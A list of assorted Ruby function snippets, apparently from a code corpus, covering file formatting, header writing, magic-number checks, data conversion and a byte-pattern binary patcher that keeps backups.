"def to_file( f )\n buf = [@name, @ref.binary_role(), @ref.binary_type(), @ref.name,\n @type, TYPE_SIZES[@type], \n @data.length()].pack(PFORMAT)\n f.write(buf)\n\n fmt_str = \"%s%d\" % [TYPES[@type], data.length]\n buf = data.pack(fmt_str)\n f.write(buf)\n end",
"def digestFile(filename)\n\tfh = File.open(filename)\n\tarray = String.new\n\tpreparse = true\n\tfh.each_line do |line|\n\t\tif preparse\n\t\t\tif line =~ /\\{/\n\t\t\t\tpreparse = false\n\t\t\t\tarray << line\n\t\t\tend\n\t\telse\n\t\t\t#Sub numberlongs\n\t\t\tif line.include? \"NumberLong\\(\"\n\t\t\t\tline.slice!(/NumberLong\\(/)\n\t\t\t\tline.slice!(/\\)/)\n\t\t\tend\n\n\t\t\t#ObjectId(\"4ef4af0963389003f300c2e7\"),\n\t\t\tif line.include? \"ObjectId\"\n\t\t\t\tline = line.gsub(\"ObjectId\\(\\\"\", \"\\\"ObjectId\\(\")\n\t\t\t\tline = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n\t\t\tend\n\n\t\t\t#Timestamp(10000, 27),\n\t\t\tif line.include? \": Timestamp\\(\"\n\t\t\t\tline = line.gsub(\"Timestamp\\(\", \"\\\"Timestamp\\(\")\n\t\t\t\tline = line.gsub(\"\\)\", \"\\)\\\"\")\n\t\t\tend\n\t\t\t#ISODate(\"2012-01-26T00:00:00Z\")\n\t\t\tif line.include? \": ISODate\\(\\\"\"\n\t\t\t\tline = line.gsub(\"ISODate\\(\\\"\", \"\\\"ISODate\\(\")\n\t\t\t\tline = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n\t\t\tend\n #BinData\n if line.include? \": BinData\\(\"\n line = line.gsub(\"BinData\\(\", \"\\\"BinData\\(\")\n line = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n line = line.gsub(\",\\\"\", \",\")\n end\n if line.include? \"\\\" : \\/\"\n line = line.gsub(\"\\\" : \\/\", \"\\\" : \\\"\\/\")\n line = line.gsub(\"\\/,\", \"\\/\\\",\")\n end\n\t\t\tif line !~ /bye/\n\t\t\t array << line\n\t\t\tend\n\t\tend\n\tend\n\tfh.close\n\tdoc = Yajl::Parser.parse(array)\n\treturn doc\nend",
"def test_mahoro_file\n fm = FileMagic.new\n fm.flags = FileMagic::MAGIC_NONE\n assert_equal('ASCII C program text', fm.file(path_to('mahoro.c')))\n end",
"def format\n open{ |f| ImageSize.new(f) }.format\n end",
"def format\n open{ |f| ImageSize.new(f) }.format\n end",
"def proper_image_sequence_format\n if not image_sequence =~ /\\.mha\\z/\n errors.add(:image_sequence, \"must be in .mha format currently\")\n end\n end",
"def filesize_format(int)\n int\n end",
"def patch(filename)\n @total[0] += 1\n puts; system \"echo \\e[1;33mProcessing\\e[0m #{filename}...\"\n # do not patch patched ones\n if File.exist?(filename + \".bak\") then system(\"echo #{filename} might have already been patched. \\e[1;33mNo operation performed.\\e[0m\"); return false end\n f = open(filename, \"r+b\") # read and write, binary\n g = open(filename + \".bak\", \"wb\")\n @times = 0 # number of to-be-patched patterns\n @bytes = 0 # processed length [in tenths MB]\n loop do\n b = f.gets(sep=\"\\x75\") # read until met with 0x75 (JNZ)\n if b.nil? then f.close; g.close; break end # EOF\n len = b.size # read length\n g.write(b) # copy\n mb = @bytes.to_i; @bytes += len/104857.6 # check if the change is larger than 0.1 MB (to run more smoothly)\n print(\"\\rProcessed ~%.1f MB. \" % (@bytes/10)) if @bytes.to_i != mb\n \n next if len < 17\n d = b[-17, 16] # check the pattern\n case d\n when \"\\xff\\xff\\xb9\\x00\\x00\\x00\\x00\\x0f\\x4f\\xc8\\x89\\x8d\\x3c\\x86\\xff\\xff\"\n print \"\\r\"; system \"echo \\e[1;32mFound pattern\\e[0m, MOV ECX, 0 ^-^> MOV ECX, -1: FE FF FF \\e[7mB9 00 00 00 00\\e[0m 0F 4F C8 89 8D 3C 86 FF\"\n f.seek(-14, 1); f.write(\"\\xff\\xff\\xff\\xff\"); f.seek(10, 1)\n when \"\\xff\\xff\\xba\\xff\\xff\\xff\\xff\\x0f\\x4f\\xca\\x89\\x8d\\x6c\\xaa\\xff\\xff\", \"\\xff\\xff\\xba\\xff\\xff\\xff\\xff\\x0f\\x4f\\xca\\x89\\x8d\\x3c\\xb2\\xff\\xff\",\"\\xff\\xff\\xba\\xff\\xff\\xff\\xff\\x0f\\x4f\\xca\\x89\\x8d\\x0c\\xaa\\xff\\xff\"\n print \"\\r\"; system \"echo \\e[1;32mFound pattern\\e[0m, XOR ECX, ECX ^-^> MOV CL, -1: FF FF FF \\e[7m33 C9\\e[0m 3B 95 .. F. FF FF BA FF FF FF FF\"\n f.seek(-22, 1); f.write(\"\\xb1\\xff\"); f.seek(20, 1)\n when \"\\x33\\xc0\\xb9\\xff\\xff\\xff\\xff\\x3b\\x95\\x1c\\xff\\xff\\xff\\x0f\\x4f\\xc1\", \"\\x33\\xc0\\xb9\\xff\\xff\\xff\\xff\\x3b\\x95\\xf4\\xfe\\xff\\xff\\x0f\\x4f\\xc1\"\n print \"\\r\"; system \"echo \\e[1;32mFound pattern\\e[0m, XOR EAX, EAX ^-^> MOV AL, -1: FF FF FF \\e[7m33 C0\\e[0m B9 FF FF FF FF 3B 95 .. F. FF FF\"\n f.seek(-17, 1); f.write(\"\\xb0\\xff\"); f.seek(15, 1)\n when \"\\x8b\\x55\\xd8\\x8b\\xc6\\xb9\\xff\\xff\\xff\\xff\\x3b\\x55\\xc8\\x0f\\x4f\\xc1\"\n print \"\\r\"; system \"echo \\e[1;32mFound pattern\\e[0m, MOV EAX, ESI ^-^> MOV AL, -1: 8B 55 D8 \\e[7m8B C6\\e[0m B9 FF FF FF FF 3B 55 C8 0F 4F C1\"\n f.seek(-14, 1); f.write(\"\\xb0\\xff\"); f.seek(12, 1)\n when \"\\x95\\xfc\\xfe\\xff\\xff\\x8b\\xd7\\x0f\\x4f\\xd1\\x89\\x95\\x1c\\xae\\xff\\xff\"\n print \"\\r\"; system \"echo \\e[1;32mFound pattern\\e[0m, MOV EDX, EDI ^-^> MOV DL, -1: FE FF FF \\e[7m8B D7\\e[0m 0F 4F D1 89 95 1C AE FF FF 75 20\"\n f.seek(-12, 1); f.write(\"\\xb2\\xff\"); f.seek(10, 1)\n else\n next # not a to-be-patched pattern; roll back\n end\n @times += 1\n end\n if @times.zero?\n # not applicable\n File.delete(filename + \".bak\"); system \"echo \\e[1;33mNo to-be-patched pattern found in \\e[0m\" + filename\n return false\n else\n system \"echo \\e[1;33mPatched \" + @times.to_s + \" place(s) in \\e[0m\" + filename\n @total[1] += 1\n return true\n end\nrescue Interrupt # Ctrl-C\n system \"echo \\e[1;33mDo you want to \\e[4mC\\e[24montinue, to stop patching this \\e[4mF\\e[24mile or to stop the whole \\e[4mO\\e[24mperation?\\e[0m\"\n print \"(C/F/O; Note that all these may cause unrepairable damage to the file): \"\n # cleanse well\n f.close; g.close\n File.delete(filename + \".bak\")\n case STDIN.gets.downcase[0]\n when 99 # \"c\"\n @total[0] -= 1; retry\n when 111 # \"o\"\n puts; system \"echo In this operation, \\e[1;32m#{@total[1]} out of #{@total[0]} file(s) have been patched.\\e[0m\"; exit\n end\n return false\nrescue # error\n system \"echo \\e[1;31mError occurred:\\e[0m\"\n puts $!.inspect\n puts $@.inspect\n return false\nend",
"def check_magic_number\n file_in_handle = open_in_file @file_in_path\n file_in_handle.rewind\n magic_number = file_in_handle.read(FILE_HEADER_MAGIC_KEY_BYTES)\n file_in_handle.close\n magic_number == 'OTRKEYFILE'\n end",
"def pack\n packed_count = 0\n count.times do |i|\n @file.pos = @record_offset + @record_size*i\n data = @file.read(@record_size)\n unless data[0, 1]=='*'\n if i!=packed_count\n @file.pos = @record_offset + @record_size*packed_count\n @file.write data\n end\n packed_count += 1\n end\n end\n\n file_end = @record_offset + @record_size*packed_count\n @file.pos = file_end\n @file.write \"\\x1a\"\n @file.truncate file_end+1\n\n self.count = packed_count\n update_header\n end",
"def write_file(metadata)\n return unless @formatter.can_format?(metadata)\n flat_metadata = @formatter.format(metadata)\n File.open(create_full_path(@file_name_prefix), \"w\", DEFAULT_FILE_MODE) do |f|\n flat_metadata.each do |k, v|\n # ensure value is a single line by truncation since most\n # dictionary format parsers expect literal chars on a single line.\n v = self.class.first_line_of(v)\n f.puts \"#{k}=#{v}\"\n end\n end\n true\n end",
"def format ary\n alert \"deprecated, can be removed if not called\"\n #buff = Array.new\n buff = Array.new(ary.size)\n return buff if ary.nil? || ary.size == 0\n\n # determine width based on number of files to show\n # if less than sz then 1 col and full width\n #\n # ix refers to the index in the complete file list, wherease we only show 60 at a time\n ix=0\n ctr=0\n ary.each do |f|\n ## ctr refers to the index in the column\n ind = get_shortcut(ix)\n mark=SPACE\n cur=SPACE\n cur = CURMARK if ix + $sta == $cursor\n mark=GMARK if $selected_files.index(ary[ix])\n\n if $long_listing\n begin\n unless File.exist? f\n last = f[-1]\n if last == \" \" || last == \"@\" || last == '*'\n stat = File.stat(f.chop)\n end\n else\n stat = File.stat(f)\n end\n f = \"%10s %s %s\" % [readable_file_size(stat.size,1), date_format(stat.mtime), f]\n rescue Exception => e\n f = \"%10s %s %s\" % [\"?\", \"??????????\", f]\n end\n end\n\n s = \"#{ind}#{mark}#{cur}#{f}\"\n # I cannot color the current line since format does the chopping\n # so not only does the next lines alignment get skeweed, but also if the line is truncated\n # then the color overflows.\n #if ix + $sta == $cursor\n #s = \"#{RED}#{s}#{CLEAR}\"\n #end\n\n buff[ctr] = s\n\n ctr+=1\n ix+=1\n end\n return buff\nend",
"def addMarker f, m, mrk, t \n\tout = File.open(f,\"a\")\n\tout.puts \"Mk#{m}=Stimulus,#{mrk},#{t},0,0\" \n\tout.close\nend",
"def write_edfi_manifest(file)\n file.write JSON.pretty_generate(@counts)\n end",
"def fix_header_time(f, box)\n if box.version == 0\n format = \"N\"\n else\n format = \"Q>\"\n end\n # creation_time\n puts \"#{box.type}: from #{Time.at(box.creation_time-BaseMedia::MAC2UNIX).strftime(\"%F %T %z\")} to #{Time.at(box.creation_time).strftime(\"%F %T %z\")}\"\n f.seek box.offset + box.template[0].values[0][3]\n f.write [box.creation_time + BaseMedia::MAC2UNIX].pack(format)\n # modification_time\n puts \"#{box.type}: from #{Time.at(box.modification_time-BaseMedia::MAC2UNIX).strftime(\"%F %T %z\")} to #{Time.at(box.modification_time).strftime(\"%F %T %z\")}\"\n f.seek box.offset + box.template[1].values[0][3]\n f.write [box.modification_time + BaseMedia::MAC2UNIX].pack(format)\nend",
"def all_by_magic(io); end",
"def read_magic(data)\n magic = ''\n (0 .. 2).each do |byte|\n magic << data.get_varint(byte * 8, 8).chr\n end\n\n if magic.bytesize != 3 || magic[0,2] != MAGIC\n fail InputStreamError, \"Invalid compress(1) header \" +\n \"(expected #{MAGIC.unpack('h*')}, got #{magic[0,2].unpack('h*')})\"\n end\n\n bits = magic.getbyte(2)\n @max_code_size = bits & MASK_BITS\n @block_mode = ( ( bits & MASK_BLOCK ) >> 7 ) == 1\n end",
"def extract_annotations_from(file, pattern); end",
"def file_format_comment\n \"#--APP_BUNDLER_BINSTUB_FORMAT_VERSION=#{BINSTUB_FILE_VERSION}--\\n\"\n end",
"def write_h2k_magic_files(filepath)\n\n $WinMBFile = \"#{filepath}\\\\H2K\\\\WINMB.H2k\"\n $ROutFile = \"#{filepath}\\\\H2K\\\\ROutstr.H2k\"\n\n if ( ! File.file?( $WinMBFile ) )\n\n $Handle = File.open($WinMBFile, 'w')\n $Handle.write \"< auto-generated by substitute-h2k.rb >\"\n $Handle.close\n\n end\n\n if ( ! File.file?( $ROutFile ) )\n\n $Handle = File.open($ROutFile, 'w')\n $Handle.write \"<Choose diagnostics>\nAll,\n<End>\n x 'Boot', ! 1 = Startup\n x 'Calculations', ! 2 = Anncal, HseChk, FndChk...\n x 'DHW', ! 3 = All DHW routines\n x 'Space Heat', ! 4 = Space heating system models\n x 'Space Heat Ini', ! 5 = Space heating initialization\n x 'IMS', ! 6 = IMS model\n x 'AIM2', ! 7 = AIM2 model\n x 'HRV', ! 8 = HRV model + Fans No HR\n x 'BHB', ! 9 = Basement Heat balance\n x 'Rooms', ! 10 = Room by room calcs\n x 'C/S', ! 11 = Crawl Space'\n x 'Slab',! 12 = Slab on Grade\n x 'Cooling', ! 13 = Cooling\n x 'P9', ! 14 = P9 Combo\n x 'Windows', ! 15 = Window diagnostics (need this even when All specified\n x 'Wizard', ! 16 = HOT2000 Wizard\n\n(This version auto-generated by substitute-h2k.rb)\n\nPut this file in the HOT2000 program directory to turn on diagnostics.\nWhen HOT2000 is started up, a message will appear to state that the\ndiagnostics will be written to a file named Routstr.Txt. Other message\nboxes will appear on the screen as calculations, ETC occur. Click OK to\nproceed, but note the last message box to appear before the problem\noccurs.\nJB> Other setting under <Choose diagnostics> is \\\"Calculations\\\"\nThe contents of the diagnostics file were not intended to be of much\nuse to the general user, but may be useful to the developers in\ndetermining problems with calculations ETC.\nThis tool should only be used once, I.E. for a single run that causes\nthe problem to be analysed.\n- put the file in the program directory (where HOT2000.exe is located)\n- run HOT2000, open the file in question, do the run, quit the program\n- e-mail the file Routstr.txt (Winzip/compress it to reduce space) to\n HOT2000 support.\n- rename Routstr.h2k to 0Routstr.h2k to suppress the diagnostics\nBrian Bradley\nbbradley@nrcan.gc.ca\n204-984-4920\"\n $Handle.close\n end\n\nend",
"def format(outstream)\n file = File.basename(@path, '.*')\n req_attrs = Models::Lookup::get_required_attrs(file)\n\n format_from_stream(File.open(@path), req_attrs, outstream)\n end",
"def format(lines, cur_no)\n lastno = lines.keys.max\n lines.map do |num, line|\n sign = num + 1 == cur_no ? '=> ' : ' ' * 3\n super('%s%*d: %s', sign, lastno.to_s.size, num + 1, line)\n end.join(\"\\n\")\n end",
"def main (max_char, prefix, suffix)\r\n # Variable Definitions\r\n input_folder = 'Original/' # Folder of original files\r\n output_folder = 'Wrapped/' # Folder of processed files\r\n file_name = '' # The name of the file (test.rb)\r\n file_path = '' # The path of the file (folder/test.rb)\r\n output_path = '' # The path of the output file\r\n original_arr = [] # The lines of the original file\r\n wordwrapped_arr = [] # The formatxted file lines\r\n # Check if USER VARIABLES are valid.\r\n check_user_variables()\r\n # Get the name of the file that will be word wrapped.\r\n file_name = get_input_file_name()\r\n # Concatenate the folder name and file name to give a path so that the\r\n # file can be searched for later.\r\n file_path = input_folder + file_name\r\n # Check that the file_path is valid, if not the program will exit.\r\n check_input_file(file_path)\r\n # Now that the file path is vaild, read the file contents and save to\r\n # the array.\r\n original_arr = read_input_file(file_path)\r\n # Check the original_arr and make sure that no comment line is longer than\r\n # the max specified \r\n wordwrapped_arr = word_wrap(original_arr, max_char)\r\n # Create a path for the output file to go\r\n output_path = create_output_path(output_folder, file_name, prefix, suffix)\r\n # Write the formatted array to the output file\r\n write_formatted_file(wordwrapped_arr, output_path)\r\n puts(\"Formatting Succeded.\")\r\nend",
"def encode_file(filename, format, options = T.unsafe(nil)); end",
"def summarize_file(path); end",
"def annotate_header header, fname\n genome = genome_from_fname fname\n\n \"#{genome}____#{header}\"\n end",
"def create_version_file\n output_f = File.new(@output_file, 'w:UTF-8')\n # Read each line from the file\n version = tag_version\n\n # Process line\n File.readlines(@input_file, encoding: 'UTF-8').each do |line|\n output_f.write(process_line(line, version))\n end\n # output to file\n output_f.close\n puts \"GitRevision: Created file #{@output_file} from #{@input_file}.\"\n puts \"GitRevision: version: #{version[:major]}.#{version[:minor]}.#{version[:revision]} short_hash: #{version[:short_hash]} long_hash: #{version[:long_hash]}\"\n output_f = nil\n end",
"def formats; end",
"def formats; end",
"def file(*args)\r\n args.each do |arg|\r\n add_formatted arg\r\n end\r\n self\r\n end",
"def format_file_content(buffer)\n buffer.join(\"\\n\")\n end",
"def monta_header_arquivo\n header_arquivo = '' # Descrição Posição Tamanho\n header_arquivo << cod_banco # CÓDIGO DO BANCO [1......3] 03(9) 341\n header_arquivo << '0000' # CÓDIGO DO LOTE [4......7] 04(9) 0000\n header_arquivo << '0' # TIPO DE REGISTRO [8......8] 01(9) 0\n header_arquivo << ''.rjust(6, ' ') # BRANCOS [9.....14] 06(X)\n header_arquivo << versao_layout_arquivo # LAYOUT DE ARQUIVO [15....17] 03(9) 081\n header_arquivo << Util::Empresa.new(documento_debitado, false).tipo # TIPO DE INSCRIÇÃO DA EMPRESA DEBITADA [18....18] 01(9) 1 = CPF 2 = CNPJ\n header_arquivo << documento_debitado.to_s.rjust(14, '0') # CNPJ da EMPRESA DEBITADA [19....32] 14(9)\n header_arquivo << ''.rjust(20, ' ') # BRANCOS [33....52] 20(X)\n header_arquivo << agencia.rjust(5, '0') # NÚMERO AGÊNCIA DEBITADA [53....57] 05(9)\n header_arquivo << ''.rjust(1, ' ') # BRANCOS [58....58] 01(X)\n header_arquivo << conta_corrente.rjust(12, '0') # CONTA NÚMERO DEBITADA [59....70] 12(9)\n header_arquivo << ''.rjust(1, ' ') # BRANCOS [71....71] 01(X)\n header_arquivo << digito_conta # DAC DA AGÊNCIA/CONTA DEBITADA [72....72] 01(9)\n header_arquivo << empresa_mae.format_size(30) # NOME DA EMPRESA [73...102] 30(X)\n header_arquivo << nome_banco.format_size(30) # NOME DO BANCO [103..132] 30(X)\n header_arquivo << ''.rjust(10, ' ') # BRANCOS [133..142] 10(X)\n header_arquivo << '1' # CÓDIGO REMESSA/RETORNO [143..143] 01(9) 1=REMESSA\n header_arquivo << data_geracao # DATA DE GERAÇÃO DO ARQUIVO [144..151] 08(9) DDMMAAAA\n header_arquivo << hora_geracao # HORA DE GERAÇÃO DO ARQUIVO [152..157] 06(9) HHMMSS\n header_arquivo << ''.rjust(9, '0') # ZEROS [158..166] 09(9)\n header_arquivo << densidade_gravacao.rjust(5, '0') # DENSIDADE DE GRAVAÇÃO DO ARQUIVO [167..171] 05(9) 0 Padrao | 1600 BPI | # 6250 BPI\n header_arquivo << ''.rjust(69, ' ') # BRANCOS [172..240] 69(X)\n header_arquivo\n end",
"def fprint(file)\n end",
"def annotate_one_file(file_name, info_block, position, options = T.unsafe(nil)); end",
"def reset_magic_code\n result = StringIO.new\n\n # magic flask 1 starts after 17 matches of magic flasks.\n # flasks 1-16, not sure what they're used for.\n # we start indexing at 1 so 16+1 = 17 .. 31 represents flasks 1 - 14\n base_index = 16\n code_count = 0\n\n result.puts 'Reset magic flasks (1 of 2)'\n (1..14).each do |index|\n index = base_index + index\n code_count += 1\n\n if code_count == 8\n result.puts\n result.puts 'Reset magic flasks (2 of 2)'\n end\n\n index = zero_pad_int(index, 2)\n result.puts \"80#{index}0008 8AD2D101\nAF89E690 00000000\n28000008 01016CE6\n2800000C 00000000\n28000010 FFFFFF00\n28000014 FFFFFFFF\n28000018 000000FF\n2800001C 00000000\n28000020 00000000\n28000024 00000000\n28000028 00000000\n2800002C 00000000\n28000030 00000000\n08000034 00000000\"\n end\n\n result.string\n end",
"def signatures_at(filename, line, column); end",
"def spectrum_to_mgf(data)\n output_arr = []\n output_arr << %Q{COM=Project: In-silico Isotoper\\nBEGIN IONS\\nCHARGE=#{@charge_state}+\\nTITLE=Label: Sequence is #{@sequence} and options were #{@opts}}\n data.each do |entry|\n #\tTableEntry = Struct.new(:ion, :seq, :mass, :charge)\n output_arr << \"#{\"%.5f\" % entry.first }\\t#{\"%.5f\" % entry.last}\"\n end\n output_arr << \"END IONS\"\n File.open(\"#{@sequence}.mgf\", 'w') {|o| o.print output_arr.join(\"\\n\") }\n output_arr.join(\"\\n\")\n end",
"def _process_format(format); end",
"def _process_format(format); end",
"def open\n @fd.close if @fd\n @fd = File.open(@file, 'ab+')\n @fd.advise(:sequential) if @fd.respond_to? :advise\n stat = @fd.stat\n @inode = stat.ino\n write(@format.header) if stat.size == 0\n @pos = nil\n end",
"def change_sequence_format(path_to_sequence, input_sequence_format, output_sequence_format)\n biosequence = biosequence_from_file(path_to_sequence, input_sequence_format)\n case output_sequence_format\n when :genbank\n output_suffix = \"gbk\"\n when :embl\n output_suffix = \"embl\"\n when :fasta\n output_suffix = \"fas\"\n end\n output_filepath = \"#{File.dirname(path_to_sequence)}/#{file_prefix_from_filepath(path_to_sequence)}.#{output_suffix}\"\n file_from_biosequence(output_filepath, output_sequence_format, biosequence)\nend",
"def magic\n MAGIC + (\n (@max_code_size & MASK_BITS) |\n (@block_mode ? MASK_BLOCK : 0)\n ).chr\n end",
"def pos_fil_header\n 0\n end",
"def gen_header(fp)\n fp.puts(\"/*\")\n fp.puts(\" * Copyright (c) 2015, msyksphinz\")\n fp.puts(\" * All rights reserved.\")\n fp.puts(\" *\")\n fp.puts(\" * Redistribution and use in source and binary forms, with or without\")\n fp.puts(\" * modification, are permitted provided that the following conditions are met:\")\n fp.puts(\" * * Redistributions of source code must retain the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer.\")\n fp.puts(\" * * Redistributions in binary form must reproduce the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer in the\")\n fp.puts(\" * documentation and/or other materials provided with the distribution.\")\n fp.puts(\" * * Neither the name of the msyksphinz nor the\")\n fp.puts(\" * names of its contributors may be used to endorse or promote products\")\n fp.puts(\" * derived from this software without specific prior written permission.\")\n fp.puts(\" *\")\n fp.puts(\" * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\" AND\")\n fp.puts(\" * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\")\n fp.puts(\" * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\")\n fp.puts(\" * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY\")\n fp.puts(\" * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\")\n fp.puts(\" * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\")\n fp.puts(\" * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\")\n fp.puts(\" * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\")\n fp.puts(\" * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\")\n fp.puts(\" * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\")\n fp.puts(\" */\")\n fp.puts(\"\")\n fp.puts(\"/* CAUTION! THIS SOURCE CODE IS GENERATED AUTOMATICALLY. DON'T MODIFY BY HAND. */\")\n fp.puts(\"\")\n fp.puts(\"\")\nend",
"def seq_new_num(filelist)\n\tinitial_num = 0\n\tfor i in 0 .. filelist.size-1\n\t\tif i == 0\n\t\t\tinitial_num = get_last_seq_num(filelist[i]) \n\t\t\ti += 1\n\t\telse\t\n\t\t\tFile.open(filelist[i]) do |f|\n\t\t\t\tout = \"\"\n\t\t\t\tlast_sequence_name = \"\"\n\t\t\t\tinitial_num += 1\n\t\t\t\tf.each do |line|\n\t\t\t\t\tline.chomp!\n\t\t\t\t\tif line.chars.first == \"@\"\n\t\t\t\t\telse\n\t\t\t\t\t\tnum = line.split(\"seq.\")[1].to_i \n\t\t\t\t\t\tlast_sequence_name = num if last_sequence_name == \"\"\n\t\t\t\t\t\tif last_sequence_name != num\n\t\t\t\t\t\t\tinitial_num += 1\n\t\t\t\t\t\t\tlast_sequence_name = num\n\t\t\t\t\t\tend\n\t\t\t\t\t\tsam_fields = line.split(\"\\t\")\n\t\t\t\t\t\tsam_fields[0] = sam_fields[0].gsub(num.to_s, initial_num.to_s)\n\t\t\t\t\t\tputs sam_fields.join(\"\\t\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\ti += 1\t\t\t\n\tend\nend",
"def to_s\n str = \"# #{@path}\\n#\\n# This file is managed by Chef\\n# Local changes may be lost!\\n\"\n\n last_had_comment = true\n @entries.sort.each do |entry|\n str << \"\\n\" if entry.comment || last_had_comment\n str << entry.format(columns)\n str << \"\\n\"\n last_had_comment = !entry.comment.nil?\n end\n\n str << \"\\n# End of file (#{@entries.size} #{@entries.size == 1 ? 'limit' : 'limits'})\\n\"\n str\n end",
"def gen_header(fp)\n fp.puts(\"/*\")\n fp.puts(\" * Copyright (c) 2015, Masayuki Kimura\")\n fp.puts(\" * All rights reserved.\")\n fp.puts(\" *\")\n fp.puts(\" * Redistribution and use in source and binary forms, with or without\")\n fp.puts(\" * modification, are permitted provided that the following conditions are met:\")\n fp.puts(\" * * Redistributions of source code must retain the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer.\")\n fp.puts(\" * * Redistributions in binary form must reproduce the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer in the\")\n fp.puts(\" * documentation and/or other materials provided with the distribution.\")\n fp.puts(\" * * Neither the name of the Masayuki Kimura nor the\")\n fp.puts(\" * names of its contributors may be used to endorse or promote products\")\n fp.puts(\" * derived from this software without specific prior written permission.\")\n fp.puts(\" *\")\n fp.puts(\" * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\" AND\")\n fp.puts(\" * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\")\n fp.puts(\" * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\")\n fp.puts(\" * DISCLAIMED. IN NO EVENT SHALL MASAYUKI KIMURA BE LIABLE FOR ANY\")\n fp.puts(\" * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\")\n fp.puts(\" * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\")\n fp.puts(\" * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\")\n fp.puts(\" * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\")\n fp.puts(\" * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\")\n fp.puts(\" * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\")\n fp.puts(\" */\")\n fp.puts(\"\")\n fp.puts(\"/* CAUTION! THIS SOURCE CODE IS GENERATED AUTOMATICALLY. DON'T MODIFY BY HAND. */\")\n fp.puts(\"\")\n fp.puts(\"\")\nend",
"def preformatting\n\n end",
"def gen_header(fp)\n fp.puts(\"/*\")\n fp.puts(\" * Copyright (c) 2015, Masayuki Kimura\")\n fp.puts(\" * All rights reserved.\")\n fp.puts(\" *\")\n fp.puts(\" * Redistribution and use in source and binary forms, with or without\")\n fp.puts(\" * modification, are permitted provided that the following conditions are met:\")\n fp.puts(\" * * Redistributions of source code must retain the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer.\")\n fp.puts(\" * * Redistributions in binary form must reproduce the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer in the\")\n fp.puts(\" * documentation and/or other materials provided with the distribution.\")\n fp.puts(\" * * Neither the name of the Masayuki Kimura nor the\")\n fp.puts(\" * names of its contributors may be used to endorse or promote products\")\n fp.puts(\" * derived from this software without specific prior written permission.\")\n fp.puts(\" *\")\n fp.puts(\" * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\" AND\")\n fp.puts(\" * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\")\n fp.puts(\" * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\")\n fp.puts(\" * DISCLAIMED. IN NO EVENT SHALL MASAYUKI KIMURA BE LIABLE FOR ANY\")\n fp.puts(\" * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\")\n fp.puts(\" * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\")\n fp.puts(\" * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\")\n fp.puts(\" * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\")\n fp.puts(\" * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\")\n fp.puts(\" * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\")\n fp.puts(\" */\")\n fp.puts(\"\")\n fp.puts(\"/* CAUTION! THIS SOURCE CODE IS GENERATED AUTOMATICALLY. DON'T MODIFY BY HAND. */\")\n fp.puts(\"\")\n fp.puts(\"\")\nend",
"def bump\n parts = new_version\n text = '\\1' + [\"MAJOR = #{parts[:major]}\",\n \"MINOR = #{parts[:minor]}\",\n \"PATCH = #{parts[:patch]}\",\n \"BUILD = #{parts[:build] || 'nil'}\"].join('\\1')\n\n out_data = File.read(@filename).gsub(PATTERN, text)\n # puts out_data\n File.open(@filename, 'w') { |out| out << out_data }\n puts \"Bumped version to #{self}\"\n end",
